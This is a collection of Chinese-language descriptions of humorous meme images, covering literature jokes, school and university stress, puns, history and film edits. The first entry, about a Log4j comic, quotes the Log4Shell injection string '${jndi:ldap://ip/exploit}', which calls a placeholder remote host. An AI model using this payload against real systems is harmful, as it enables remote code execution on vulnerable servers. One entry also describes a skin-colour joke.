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分类: 文字加注图

这是一幅黑白线稿风格的静态单幅漫画，以拟人化的方式呈现现代数字基础设施：将其描绘成一个由多个部件堆叠而成的复杂、看似稳固的结构，顶部标注英文“ALL MODERN DIGITAL INFRASTRUCTURE”（所有现代数字基础设施）。该结构的一个关键支撑部分被标注为“Log4j”，旁边有一把锤子，锤子上写着Log4j漏洞的经典利用代码“${jndi:ldap://ip/exploit}”，象征着Log4j漏洞如同这把锤子一样，能够轻易破坏整个看似复杂的现代数字基础设施，生动且讽刺地展现了Log4j安全漏洞的巨大危害性，它可以对全球的数字系统造成严重威胁。

Log4j漏洞威胁现代数字基础设施漫画

这是一幅黑白线稿风格的静态单幅漫画，以拟人化的方式呈现...

这是一张社交媒体的评论截图，评论用户为Eternal，显示地址为广东，发布于22小时前，该评论获得了81个点赞，并且被原内容作者点赞。评论内容是一个趣味文学梗：用户调侃自己“偷了杜甫的笔”，却写下了李白《行路难·其一》中的名句“长风破浪会有时”，还加上“我说第四遍”的表述，通过混淆两位唐代大诗人的创作，制造出错位的幽默感，同时也暗示自己已经多次用这句励志诗来给自己打气，传递出一种在困境中反复自我鼓励的情绪。

玩文学梗的趣味社交媒体评论

这是一张社交媒体的评论截图，评论用户为Eternal，...

这是一张四格拼接的幽默梗图，通过四个国家的经典文学代表人物肖像，配上符合大众对各国文学风格刻板印象的文字，调侃不同国家文学的核心主题：英国文学以威廉·莎士比亚为代表，对应“我會為榮譽而死”，契合英国文学中常见的荣誉、骑士精神主题；法国文学对应“我會為愛而死”，体现法国浪漫主义文学中对爱情的极致表达；美国文学对应“我會為自由而死”，呼应美国文学中对个人自由、奋斗精神的推崇；俄国文学以费奥多尔·陀思妥耶夫斯基为代表，对应“我會死”，调侃俄国文学作品中普遍存在的压抑、苦难与悲剧性基调，用夸张的方式总结各国文学的典型气质，充满趣味性。

各国文学风格调侃梗图

这是一张四格拼接的幽默梗图，通过四个国家的经典文学代表...

这是一张针对智学网成绩评级系统创作的图文混排静态梗图。图中上方是一个从右到左分为A、B、C、D、E五个等级的进度条，E为最差等级，有一个卡通小人坐在E等级的位置；下方是绿色字体的「坐E待毙」，其中代表成绩等级的'E'字用红色突出，谐音成语「坐以待毙」，下方还有「智学网限定」的绿色文字。该图通过谐音梗调侃在智学网的成绩评级中处于E等级的学生，用幽默的方式表达成绩不佳的无奈情绪，属于学生群体创作的玩梗内容。

智学网限定「坐E待毙」谐音梗图

这是一张针对智学网成绩评级系统创作的图文混排静态梗图。...

这是一张由三格组成的连环图文混排梗图，采用递进式的英文谐音梗设计，结合人体骨骼知识打造趣味内容。第一格左侧标注英文“Bone”，右侧对应展示一根单独的大腿骨，直接对应“骨头”的含义；第二格左侧文字改编为“Btwo”，是“Bone”的谐音拆分，右侧对应展示两根大腿骨，数量与文字中的“two”对应；第三格左侧文字延伸为“Btwohundredandsix”，同样是“Bone”的谐音变体，结合了成年人人体骨骼总数为206块的知识点，右侧展示一个坐在笔记本电脑前、双手举起的骷髅形象，而骷髅恰好拥有完整的206块骨头。整个图片通过巧妙的文字谐音改编，将枯燥的科普知识转化为搞笑的梗图内容，既有趣味性又传递了小知识。

骨骼数量谐音梗连环图

这是一张由三格组成的连环图文混排梗图，采用递进式的英文...

这是一张由两张照片拼接而成的搞笑meme图，上半部分呈现一只黄狗对着自行车愤怒狂叫的场景，配文引出“两个狗子闲聊”的主题；下半部分是这只黄狗与一只黑背躺在草地上大笑的画面，通过添加拟人化的对话文字，模拟两只狗子闲聊的内容：黄狗吐槽自己随便叫两声就把骑车的人吓得飞速骑车，黑背则在一旁大笑，还玩了“站起来蹬”的谐音梗（调侃骑车人拼命蹬车的样子），将日常里狗追骑车人的场景拟人化，用动物的视角制造出荒诞又搞笑的趣味效果，十分生动有趣。

狗子闲聊吐槽被吓跑的骑车人

这是一张由两张照片拼接而成的搞笑meme图，上半部分呈...

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拥有上帝与二次元之力的中二女孩梗图

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这是一张多图拼接的中文梗图，通过具象化的画面搭配调侃性文字，吐槽中小学数学应用题里那些脱离现实逻辑的经典设定，一共总结了五类“奇人”：1. 对应工程问题的甲乙工人，图中是两位穿着安全背心的施工工人，配文调侃他们“分工明确、默契十足”；2. 对应行程追及问题的上学哥哥，图中是一位背着书包在路上行走的背影，配文描述“走路上学；先出门，等弟弟从后面追上来的哥哥”；3. 对应泳池进水出水问题的管理员，图中是一位在泳池边摆弄水管的人，配文吐槽是“同时灌水进去、放水出来的疯狂游泳池管理员”；4. 对应鸡兔同笼问题的农夫，图中是一位捧着装有鸡蛋和鸡的篮子的农夫，配文调侃是“把鸡与兔子关在同个笼子的变态农夫”；5. 对应考卷有污渍的题目设定，用打翻的墨水瓶代表“总是把墨水滴在考卷上的学生”，整体用幽默的方式唤起人们对数学题的趣味回忆。

数学课本里的五大奇人

这是一张多图拼接的中文梗图，通过具象化的画面搭配调侃性...

这是一张四格连环的文字加注类表情包，以国外流行的Sad Cat（悲伤小猫）表情包为基础进行二次创作。四格内容通过递进的文字和小猫的表情变化，玩起了近代历史人物张作霖（张大帅）的相关梗：第一格小猫露出憧憬的表情，配文表达对成为军阀的向往；第二格小猫神态得意，认为有列强援助便局势稳定；第三格小猫略带疑惑又有些得意，确认自己的“张大帅”身份；第四格小猫眼神迷茫不安，提问“你说我们火车走到哪了”，这一内容是暗示历史上张作霖在皇姑屯遭遇的事件，用轻松搞笑的表情包形式包装历史事件，通过前后的反差制造幽默效果，属于网络上常见的历史玩梗创作。

张大帅历史梗四格表情包

这是一张四格连环的文字加注类表情包，以国外流行的Sad...

这是一张搞笑合成梗图，背景是夜晚的校园操场，草坪上坐着几位学生，空中还绽放着烟花，营造出轻松的校园夜晚氛围。前景是一个穿着浅色条纹衬衫的人物，其脸部被合成了网络上知名的肌肉男形象，表情严肃。图中配有两段对话文字：路人询问“帅哥，可以给我你的微信吗”，这里的“微信”指的是微信社交账号，而“我”的回复“不行，我还要用”则故意曲解了对方的意思，将“微信”当成了可以转交的物品，用这种无厘头的方式拒绝索要联系方式，制造出荒诞搞笑的效果。

被索要微信时的无厘头拒绝

这是一张搞笑合成梗图，背景是夜晚的校园操场，草坪上坐着...

这是一张由科幻电影《我，机器人》的片段改编而成的三格连环梗图。第一格中，由黑人演员威尔·史密斯饰演的警探戴尔·史普纳，表情严肃地对着机器人指责道：“你只是个机器人！”；第二格中，电影里的机器人桑尼面无表情地回怼：“至少我是白色的”，利用肤色差异制造种族调侃的反差笑点；第三格中，史普纳被这句扎心的回怼噎住，用手捂住嘴，露出震惊又语塞的表情，将搞笑效果拉满。整体通过对影视片段的二次创作，用玩梗的方式制造出荒诞的幽默感。

肤色梗扎心回怼！机器人怼得人类语塞

这是一张由科幻电影《我，机器人》的片段改编而成的三格连...

这是一张由网络知名mur猫表情包改编的四格拼接静态图，通过加注文字和调整猫的表情，生动展现了一名大学生从入学到毕业前的心态演变：初入大学时满怀壮志，立志投身科研报效祖国；入学一年后，目标转变为通过“内卷”争取保研资格；入学两年后，长期的学业压力让其陷入烦躁痛苦的状态，用“学🐮😈”的文字表达对学业的崩溃情绪；入学三年后，更是陷入“要毕不了业了”的焦虑恐慌。整张图用夸张魔性的表情变化，精准且搞笑地还原了不少当代大学生在校园生活中心态从憧憬到崩溃的真实落差，引发大学生群体的强烈共鸣。

大学四年心态变化搞笑图鉴

这是一张由网络知名mur猫表情包改编的四格拼接静态图，...

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